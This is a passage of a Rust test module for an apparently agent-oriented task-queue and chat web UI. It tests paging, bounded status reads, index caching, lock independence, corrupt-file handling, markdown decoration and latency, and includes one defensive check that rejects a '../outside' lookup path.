25406            header::HeaderMap::new(),
25407        )
25408        .await
25409        .unwrap()
25410        .0;
25411        assert_eq!(
25412            refreshed
25413                .rows
25414                .iter()
25415                .filter(|row| row.status.open())
25416                .count(),
25417            23
25418        );
25419        assert!(
25420            refreshed
25421                .rows
25422                .iter()
25423                .any(|row| row.id == "20261019-000000-000")
25424        );
25425        assert!(
25426            !refreshed
25427                .rows
25428                .iter()
25429                .any(|row| row.id == "20260101-000000-000")
25430        );
25431    }
25432
25433    #[test]
25434    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
25435        let home = tempfile::tempdir().unwrap();
25436        let ui = delta_test_ui(home.path());
25437        for i in 0..STORE_PAGE_SIZE + 5 {
25438            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
25439        }
25440        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
25441        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
25442        assert!(next.is_none());
25443    }
25444
25445    #[test]
25446    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
25447        struct Counted<R> {
25448            inner: R,
25449            bytes: usize,
25450        }
25451        impl<R: std::io::Read> std::io::Read for Counted<R> {
25452            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
25453                let n = self.inner.read(buf)?;
25454                self.bytes += n;
25455                Ok(n)
25456            }
25457        }
25458        let home = tempfile::tempdir().unwrap();
25459        let ui = delta_test_ui(home.path());
25460        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
25461        let mut chat = ui.talks.get(&id).unwrap();
25462        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
25463            chat.turns = vec![
25464                serde_json::from_value(serde_json::json!({
25465                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
25466                }))
25467                .unwrap(),
25468            ];
25469            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
25470                chat.status = status;
25471                // Exercise the actual on-disk serializer, including its field order.
25472                let body = serde_json::to_vec_pretty(&chat).unwrap();
25473                let mut reader = Counted {
25474                    inner: body.as_slice(),
25475                    bytes: 0,
25476                };
25477                assert_eq!(read_talk_status(&mut reader), Some(status));
25478                assert!(
25479                    reader.bytes <= 1024,
25480                    "header classification read {} bytes",
25481                    reader.bytes
25482                );
25483            }
25484        }
25485        // Noncanonical field order must neither traverse a transcript nor hide
25486        // an open row. Its real status is validated by the ordinary row reader.
25487        let noncanonical = format!(
25488            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
25489            "x".repeat(1024 * 1024)
25490        );
25491        let mut reader = Counted {
25492            inner: noncanonical.as_bytes(),
25493            bytes: 0,
25494        };
25495        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
25496        assert!(reader.bytes <= 1024);
25497        let oversized = format!(
25498            r#"{{"agent":"{}","status":"open"}}"#,
25499            "x".repeat(128 * 1024)
25500        );
25501        let mut reader = Counted {
25502            inner: oversized.as_bytes(),
25503            bytes: 0,
25504        };
25505        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
25506        assert!(reader.bytes <= 64 * 1024);
25507    }
25508
25509    #[test]
25510    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
25511        let home = tempfile::tempdir().unwrap();
25512        let ui = delta_test_ui(home.path());
25513        seed_talk_at(&ui.talks, "header-chat", "open");
25514        std::fs::create_dir_all(ui.queue.root()).unwrap();
25515        let (started, ready) = std::sync::mpsc::channel();
25516        let (release, wait) = std::sync::mpsc::channel();
25517        let chat_ui = ui.clone();
25518        let scan = std::thread::spawn(move || {
25519            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
25520                started.send(()).unwrap();
25521                wait.recv().unwrap();
25522                open_talk_ids(ui, ids)
25523            })
25524            .unwrap()
25525        });
25526        ready.recv_timeout(Duration::from_secs(2)).unwrap();
25527        let (finished, result) = std::sync::mpsc::channel();
25528        let queue = std::thread::spawn(move || {
25529            finished
25530                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
25531                .unwrap();
25532        });
25533        let completed = result.recv_timeout(Duration::from_secs(2));
25534        // Release and join both workers even if the regression returns.
25535        release.send(()).unwrap();
25536        scan.join().unwrap();
25537        queue.join().unwrap();
25538        assert!(
25539            completed.unwrap(),
25540            "queue paging must not wait for chat header I/O"
25541        );
25542    }
25543
25544    #[test]
25545    fn talk_status_projection_does_not_cache_files_changed_during_read() {
25546        let home = tempfile::tempdir().unwrap();
25547        let ui = delta_test_ui(home.path());
25548        let ids = vec!["changing-chat".to_owned()];
25549        seed_talk_at(&ui.talks, &ids[0], "closed");
25550        assert!(open_talk_ids(&ui, &ids).is_empty());
25551        seed_talk_at(&ui.talks, &ids[0], "open");
25552        let open = open_talk_ids_with(&ui, &ids, |path| {
25553            let value: serde_json::Value =
25554                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
25555            // Replace the file after parsing, before its identity is checked again.
25556            seed_talk_at(&ui.talks, &ids[0], "closed");
25557            serde_json::from_value(value["status"].clone()).ok()
25558        });
25559        assert!(open.contains(&ids[0]));
25560        assert!(
25561            ui.monitor
25562                .talk_status_index
25563                .lock()
25564                .unwrap()
25565                .records
25566                .is_empty()
25567        );
25568        assert!(open_talk_ids(&ui, &ids).is_empty());
25569        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
25570    }
25571
25572    #[test]
25573    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
25574        let home = tempfile::tempdir().unwrap();
25575        let ui = delta_test_ui(home.path());
25576        let headers = header::HeaderMap::new();
25577        seed_talk_at(&ui.talks, "open-chat", "open");
25578        seed_talk_at(&ui.talks, "closed-chat", "closed");
25579        talk_rows(
25580            &ui,
25581            vec!["open-chat".into(), "closed-chat".into()],
25582            &headers,
25583        );
25584        {
25585            let mut index = ui.monitor.talk_index.lock().unwrap();
25586            let closed = index["closed-chat"].1.clone();
25587            for i in 0..1000 {
25588                index.insert(
25589                    format!("cached-closed-{i}"),
25590                    (
25591                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
25592                        closed.clone(),
25593                    ),
25594                );
25595            }
25596        }
25597        assert_eq!(
25598            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
25599            1
25600        );
25601        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
25602        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25603        assert_eq!(
25604            ui.monitor
25605                .talk_parses
25606                .load(std::sync::atomic::Ordering::Relaxed),
25607            2
25608        );
25609        {
25610            let mut index = ui.monitor.talk_index.lock().unwrap();
25611            let open = index["open-chat"].1.clone();
25612            for i in 0..1000 {
25613                index.insert(
25614                    format!("cached-open-{i}"),
25615                    (
25616                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
25617                        open.clone(),
25618                    ),
25619                );
25620            }
25621        }
25622        // Even when open rows exceed the bound, keep the currently requested rows.
25623        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25624        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
25625        assert_eq!(
25626            ui.monitor
25627                .talk_parses
25628                .load(std::sync::atomic::Ordering::Relaxed),
25629            2
25630        );
25631    }
25632
25633    #[test]
25634    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
25635        let home = tempfile::tempdir().unwrap();
25636        let ui = delta_test_ui(home.path());
25637        std::fs::create_dir_all(ui.talks.root()).unwrap();
25638        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
25639        for id in &ids {
25640            std::fs::write(
25641                ui.talks.path_of(id),
25642                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
25643            )
25644            .unwrap();
25645        }
25646        assert!(open_talk_ids(&ui, &ids).is_empty());
25647        assert_eq!(
25648            ui.monitor.talk_status_index.lock().unwrap().parses,
25649            ids.len()
25650        );
25651        assert!(open_talk_ids(&ui, &ids).is_empty());
25652        assert_eq!(
25653            ui.monitor.talk_status_index.lock().unwrap().parses,
25654            ids.len()
25655        );
25656        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
25657        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
25658        assert_eq!(
25659            open_talk_ids(&ui, &ids),
25660            std::collections::HashSet::from([ids[0].clone()])
25661        );
25662        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
25663        assert_eq!(parsed, ids.len() + 2);
25664        open_talk_ids(&ui, &ids);
25665        assert_eq!(
25666            ui.monitor.talk_status_index.lock().unwrap().parses,
25667            parsed,
25668            "unreadable rows are cached too"
25669        );
25670        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
25671        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
25672        assert!(
25673            !ui.monitor
25674                .talk_status_index
25675                .lock()
25676                .unwrap()
25677                .records
25678                .contains_key(&ids[0])
25679        );
25680        assert!(
25681            ui.monitor.talk_index.lock().unwrap().is_empty(),
25682            "classification never caches bodies"
25683        );
25684    }
25685
25686    #[tokio::test]
25687    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
25688        let home = tempfile::tempdir().unwrap();
25689        let ui = delta_test_ui(home.path());
25690        let mut task = Task::new(
25691            "task".into(),
25692            "body".into(),
25693            PathBuf::from("/repo"),
25694            Source::Human,
25695        );
25696        ui.queue.put(&mut task).unwrap();
25697        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25698        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25699        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25700        let expected = parsed + usize::from(!cfg!(unix));
25701        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25702        task.status = crate::queue::TaskStatus::Held;
25703        ui.queue.put(&mut task).unwrap();
25704        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25705        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
25706        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
25707        ui.queue.put(&mut task).unwrap();
25708        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25709        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
25710        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
25711    }
25712
25713    #[tokio::test]
25714    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
25715        let home = tempfile::tempdir().unwrap();
25716        let ui = delta_test_ui(home.path());
25717        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
25718        let before = health(State(ui.clone())).await.unwrap().0;
25719        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
25720        let after = health(State(ui)).await.unwrap().0;
25721        assert_ne!(before.notifications_rev, after.notifications_rev);
25722        assert_eq!(after.notifications_unread, 1);
25723    }
25724
25725    #[tokio::test]
25726    async fn list_pages_bound_history_and_keep_dependency_evidence() {
25727        let home = tempfile::tempdir().unwrap();
25728        let ui = delta_test_ui(home.path());
25729        let queue = &ui.queue;
25730        let talks = &ui.talks;
25731        for i in 0..1000 {
25732            let id = format!("20261019-{i:06}-page");
25733            let mut task = Task::new(
25734                "task".into(),
25735                "instruction".repeat(100),
25736                PathBuf::from("/repo/magi"),
25737                Source::Human,
25738            );
25739            task.id = id.clone();
25740            if i == 0 {
25741                task.status = crate::queue::TaskStatus::Held;
25742            } else if i == 999 {
25743                task.status = crate::queue::TaskStatus::Blocked;
25744                task.blocked_by = vec!["20261019-000000-page".into()];
25745            }
25746            queue.put(&mut task).unwrap();
25747            seed_talk_at(talks, &id, "closed");
25748        }
25749        let page = serde_json::to_value(
25750            queue_page(State(ui.clone()), Query(PageQuery::default()))
25751                .await
25752                .unwrap()
25753                .0,
25754        )
25755        .unwrap();
25756        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25757        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
25758        assert!(
25759            !page["rows"][0]["stuck_roots"]
25760                .as_array()
25761                .unwrap()
25762                .is_empty()
25763        );
25764        let cursor = page["next"].as_str().unwrap();
25765        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
25766            .as_str()
25767            .unwrap();
25768        // Deleting an already enumerated file cannot shift or repeat a page.
25769        std::fs::remove_file(queue.path_of(last_id)).unwrap();
25770        let next = serde_json::to_value(
25771            queue_page(
25772                State(ui.clone()),
25773                Query(PageQuery {
25774                    before: Some(cursor.into()),
25775                }),
25776            )
25777            .await
25778            .unwrap()
25779            .0,
25780        )
25781        .unwrap();
25782        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25783        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
25784        let chats = serde_json::to_value(
25785            talks_page(
25786                State(ui.clone()),
25787                Query(PageQuery::default()),
25788                header::HeaderMap::new(),
25789            )
25790            .await
25791            .unwrap()
25792            .0,
25793        )
25794        .unwrap();
25795        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25796        assert!(chats["rows"][0].get("pending").is_none());
25797        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
25798        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
25799        assert_eq!(counts["held"], 1);
25800        assert_eq!(counts["blocked"], 1);
25801        assert_eq!(counts["queued"], 997);
25802    }
25803
25804    #[test]
25805    fn queue_index_observes_external_replacement_deletion_and_corruption() {
25806        let dir = tempfile::tempdir().unwrap();
25807        let ui = delta_test_ui(dir.path());
25808        let mut task = Task::new(
25809            "task".into(),
25810            "body".into(),
25811            PathBuf::from("/repo"),
25812            Source::Human,
25813        );
25814        task.runs = vec!["run-a".into()];
25815        ui.queue.put(&mut task).unwrap();
25816        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
25817        task.runs = vec!["run-b".into()];
25818        let path = ui.queue.path_of(&task.id);
25819        let modified = path.metadata().unwrap().modified().unwrap();
25820        let replacement = path.with_extension("replacement");
25821        let bytes = serde_json::to_vec_pretty(&task).unwrap();
25822        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
25823        std::fs::write(&replacement, &bytes).unwrap();
25824        std::fs::File::options()
25825            .write(true)
25826            .open(&replacement)
25827            .unwrap()
25828            .set_times(std::fs::FileTimes::new().set_modified(modified))
25829            .unwrap();
25830        std::fs::rename(&replacement, &path).unwrap();
25831        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
25832        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
25833        std::fs::write(&path, "broken").unwrap();
25834        assert!(ui.find_task_for_run("run-b").is_err());
25835        std::fs::write(&path, bytes).unwrap();
25836        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
25837        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
25838        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
25839    }
25840
25841    #[tokio::test]
25842    async fn conversation_core_is_independent_of_unreadable_related_history() {
25843        let home = tempfile::tempdir().unwrap();
25844        let ui = delta_test_ui(home.path());
25845        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25846        std::fs::create_dir_all(ui.queue.root()).unwrap();
25847        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
25848        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
25849            .await
25850            .unwrap();
25851        assert_eq!(core.talk.id, id);
25852        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
25853    }
25854
25855    #[test]
25856    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
25857        let home = tempfile::tempdir().unwrap();
25858        let ui = delta_test_ui(home.path());
25859        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
25860        let directory = home.path().join("workers/jobs/abcdef");
25861        std::fs::create_dir_all(&directory).unwrap();
25862        let job = crate::worker::Job {
25863            id: "abcdef".into(),
25864            sequence: 1,
25865            kind: "chat".into(),
25866            key: id.clone(),
25867            payload: serde_json::json!({ "talk": id }),
25868            generation: "test".into(),
25869            version: None,
25870            status: crate::worker::Status::Running,
25871            result: None,
25872            pid: None,
25873            created_at: 0,
25874            finished_at: None,
25875        };
25876        std::fs::write(
25877            directory.join("job.json"),
25878            serde_json::to_vec(&job).unwrap(),
25879        )
25880        .unwrap();
25881        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
25882        let store =
25883            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
25884        let runtime = tokio::runtime::Builder::new_current_thread()
25885            .enable_all()
25886            .max_blocking_threads(1)
25887            .build()
25888            .unwrap();
25889        runtime.block_on(async {
25890            let (release, held) = std::sync::mpsc::channel();
25891            let (started, ready) = tokio::sync::oneshot::channel();
25892            let occupied = tokio::task::spawn_blocking(move || {
25893                started.send(()).unwrap();
25894                held.recv().unwrap();
25895            });
25896            ready.await.unwrap();
25897            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
25898            let bulk = ui
25899                .monitor
25900                .bulk_slots
25901                .clone()
25902                .acquire_many_owned(2)
25903                .await
25904                .unwrap();
25905            let result = tokio::time::timeout(
25906                Duration::from_secs(2),
25907                talk_core(State(ui.clone()), Path(id.clone())),
25908            )
25909            .await;
25910            // Release all blockers before assertions, including on a regression.
25911            drop(store);
25912            drop(bulk);
25913            release.send(()).unwrap();
25914            occupied.await.unwrap();
25915            let _ = secondary.await.unwrap().unwrap();
25916            let Json(core) = result
25917                .expect("transcript must bypass secondary work and the worker store lock")
25918                .unwrap();
25919            assert!(
25920                core.thinking,
25921                "read-only observation retains live worker state"
25922            );
25923            assert_eq!(core.talk.id, id);
25924            let admission_ui = ui.clone();
25925            let (release, held) = std::sync::mpsc::channel();
25926            let (started, ready) = tokio::sync::oneshot::channel();
25927            let admission = std::thread::spawn(move || {
25928                let _lock = admission_ui.talk_turns.lock().unwrap();
25929                started.send(()).unwrap();
25930                held.recv().unwrap();
25931            });
25932            ready.await.unwrap();
25933            let result = tokio::time::timeout(
25934                Duration::from_secs(2),
25935                talk_core(State(ui.clone()), Path(id.clone())),
25936            )
25937            .await;
25938            release.send(()).unwrap();
25939            admission.join().unwrap();
25940            assert!(
25941                result
25942                    .expect("display must not wait behind local admission")
25943                    .unwrap()
25944                    .0
25945                    .thinking
25946            );
25947            assert!(ui.is_thinking(&id));
25948            assert!(ui.is_thinking_observed(&id));
25949            drop(live);
25950            assert!(
25951                !ui.is_thinking_observed(&id),
25952                "a finished lease no longer appears live"
25953            );
25954            assert!(!ui.is_thinking(&id));
25955            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
25956            assert!(
25957                ui.is_thinking_observed(&id),
25958                "local admission remains visible"
25959            );
25960        });
25961    }
25962
25963    #[tokio::test]
25964    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
25965        let home = tempfile::tempdir().unwrap();
25966        let ui = delta_test_ui(home.path());
25967        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
25968        let mut task = Task::new(
25969            "Referenced task".into(),
25970            "Unrelated instruction history".repeat(1024),
25971            home.path().into(),
25972            Source::Human,
25973        );
25974        task.id = "20261019-000000-abcd".into();
25975        ui.queue.put(&mut task).unwrap();
25976        let mut conversation = ui.talks.get(&id).unwrap();
25977        conversation.turns.push(talk::Turn {
25978            sender: Some(talk::Sender::Persona),
25979            who: talk::Who::Agent,
25980            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
25981            at: conversation.created_at,
25982            attachments: Vec::new(),
25983            usage: None,
25984            breaks: None,
25985            messages: Vec::new(),
25986            posted_by: None,
25987        });
25988        ui.talks.put(&mut conversation).unwrap();
25989
25990        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
25991        let markdown = serde_json::to_value(&core.turn_bodies_md)
25992            .unwrap()
25993            .to_string();
25994        assert!(markdown.contains("\"strong\""));
25995        assert!(markdown.contains("\"table\""));
25996        assert!(markdown.contains("\"bullet_list\""));
25997        assert!(markdown.contains("\"code_block\""));
25998        assert!(!markdown.contains("\"internal_link\""));
25999        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
26000        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
26001        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26002
26003        // Deferred decoration still resolves the same validated task, without
26004        // touching opaque code blocks or changing the original transcript.
26005        let references = ui.references.for_talk(home.path(), &conversation);
26006        let mut decorated = core.turn_bodies_md[0].clone();
26007        references.markdown(&mut decorated);
26008        let decorated = serde_json::to_value(decorated).unwrap().to_string();
26009        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
26010        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
26011        assert_eq!(
26012            ui.talks.get(&conversation.id).unwrap().turns[0].body,
26013            conversation.turns[0].body
26014        );
26015    }
26016
26017    #[tokio::test]
26018    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
26019        let home = tempfile::tempdir().unwrap();
26020        let ui = delta_test_ui(home.path());
26021        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26022        let mut run = RunState::new(
26023            PathBuf::from("/repo"),
26024            "main".into(),
26025            "01234567".into(),
26026            "Useful run".into(),
26027            Config::default(),
26028        );
26029        run.save_under(home.path()).unwrap();
26030        let mut task = Task::new(
26031            "Related".into(),
26032            "body".into(),
26033            PathBuf::from("/repo"),
26034            Source::Agent {
26035                run: talk_id.clone(),
26036                node: "chat".into(),
26037            },
26038        );
26039        task.runs = vec![run.id.clone()];
26040        ui.queue.put(&mut task).unwrap();
26041        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
26042        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
26043        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
26044        assert!(
26045            run_detail(State(ui.clone()), Path(run.id.clone()))
26046                .await
26047                .is_ok()
26048        );
26049        assert!(
26050            talk_sections(State(ui.clone()), Path(talk_id.clone()))
26051                .await
26052                .is_ok()
26053        );
26054        // Previously indexed corruption must not masquerade as no relationship.
26055        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26056        assert!(ui.find_task_for_run(&run.id).is_err());
26057        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
26058        ui.queue.put(&mut task).unwrap();
26059        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
26060    }
26061
26062    #[tokio::test]
26063    async fn conversation_sections_omit_large_task_instructions() {
26064        let home = tempfile::tempdir().unwrap();
26065        let ui = delta_test_ui(home.path());
26066        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26067        let mut task = Task::new(
26068            "filed task".into(),
26069            "large instruction ".repeat(65536),
26070            PathBuf::from("/repo"),
26071            Source::Agent {
26072                run: id.clone(),
26073                node: "chat".into(),
26074            },
26075        );
26076        ui.queue.put(&mut task).unwrap();
26077        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
26078        assert_eq!(sections["tasks"][0]["id"], task.id);
26079        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
26080        assert!(sections["tasks"][0].get("instruction").is_none());
26081        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
26082    }
26083
26084    #[test]
26085    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
26086        let home = tempfile::tempdir().unwrap();
26087        let talks = Talks::at(home.path().join("talks"));
26088        seed_talk_at(&talks, "20261019-000001-abcd", "open");
26089        seed_talk_at(&talks, "20261019-000002-abcd", "open");
26090        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
26091        assert!(resolve_talk(&talks, "../outside").is_err());
26092        assert!(resolve_talk(&talks, "abcd").is_err());
26093        assert_eq!(
26094            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
26095            "20261019-000001-abcd"
26096        );
26097    }
26098
26099    include!(concat!(
26100        env!("CARGO_MANIFEST_DIR"),
26101        "/tests/web_latency/baseline.rs"
26102    ));
26103
26104    include!(concat!(
26105        env!("CARGO_MANIFEST_DIR"),
26106        "/tests/web_latency/lists.rs"
26107    ));
26108
26109    #[tokio::test]
26110    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
26111    async fn web_history_latency_measurement() {
26112        use std::time::Instant;
26113        let home = tempfile::tempdir().unwrap();
26114        let ui = delta_test_ui(home.path());
26115        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26116        let mut template = ui.talks.get(&id).unwrap();
26117        template.turns = serde_json::from_value(serde_json::json!([{
26118            "who": "operator", "body": "Show the accumulated work and its current status.",
26119            "at": Timestamp::now().to_string(),
26120        }]))
26121        .unwrap();
26122        std::fs::write(
26123            ui.talks.path_of(&id),
26124            serde_json::to_vec(&template).unwrap(),
26125        )
26126        .unwrap();
26127        let count = std::env::var("MAGI_BENCH_RECORDS")
26128            .ok()
26129            .and_then(|s| s.parse::<usize>().ok())
26130            .unwrap_or(1000);
26131        for i in 0..count {
26132            template.id = format!("20261019-{i:06}-history");
26133            template.pending = "history ".repeat(2048);
26134            std::fs::write(
26135                ui.talks.path_of(&template.id),
26136                serde_json::to_vec(&template).unwrap(),
26137            )
26138            .unwrap();
26139            let mut task = Task::new(
26140                "old task".into(),
26141                "instruction ".repeat(2048),
26142                PathBuf::from("/repo"),
26143                Source::Human,
26144            );
26145            task.id = format!("20261019-{i:06}-task");
26146            ui.queue.put(&mut task).unwrap();
26147        }
26148        for baseline in [true, false] {
26149            for clients in [1, 4] {
26150                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
26151                let mut samples = Vec::new();
26152                for _ in 0..12 {
26153                    let mut jobs = Vec::new();
26154                    for _ in 0..clients {
26155                        let ui = ui.clone();
26156                        let id = id.clone();
26157                        jobs.push(tokio::spawn(async move {
26158                            let start = Instant::now();
26159                            if baseline {
26160                                let response =
26161                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
26162                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
26163                                return (
26164                                    elapsed,
26165                                    elapsed,
26166                                    serde_json::to_vec(&response).unwrap().len(),
26167                                );
26168                            }
26169                            let core = talk_core(State(ui.clone()), Path(id.clone()));
26170                            let secondary = talk_sections(State(ui), Path(id));
26171                            let (first, total) = tokio::join!(
26172                                async {
26173                                    let value = core.await.unwrap().0;
26174                                    (
26175                                        start.elapsed().as_secs_f64() * 1000.0,
26176                                        serde_json::to_vec(&value).unwrap().len(),
26177                                    )
26178                                },
26179                                async {
26180                                    let value = secondary.await.unwrap().0;
26181                                    (
26182                                        start.elapsed().as_secs_f64() * 1000.0,
26183                                        serde_json::to_vec(&value).unwrap().len(),
26184                                    )
26185                                }
26186                            );
26187                            (first.0, first.0.max(total.0), first.1 + total.1)
26188                        }));
26189                    }
26190                    for job in jobs {
26191                        samples.push(job.await.unwrap());
26192                    }
26193                }
26194                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
26195                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
26196                first.sort_by(f64::total_cmp);
26197                total.sort_by(f64::total_cmp);
26198                let n = first.len();
26199                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
26200                println!(
26201                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
26202                    first[n / 2],
26203                    first[(n * 95 / 100).min(n - 1)],
26204                    total[n / 2],
26205                    total[(n * 95 / 100).min(n - 1)],
26206                    samples[0].2
26207                );
26208            }
26209        }
26210    }
26211
26212    #[test]
26213    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
26214        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
26215        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
26216        assert!(APP_JS.contains("function nextRunRequest(id)"));
26217        assert!(APP_JS.contains("function runShell(id, summary)"));
26218        assert!(APP_JS.contains("function nextTaskRequest(id)"));
26219        assert!(APP_JS.contains("function taskShell(id, summary)"));
26220        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
26221    }
26222}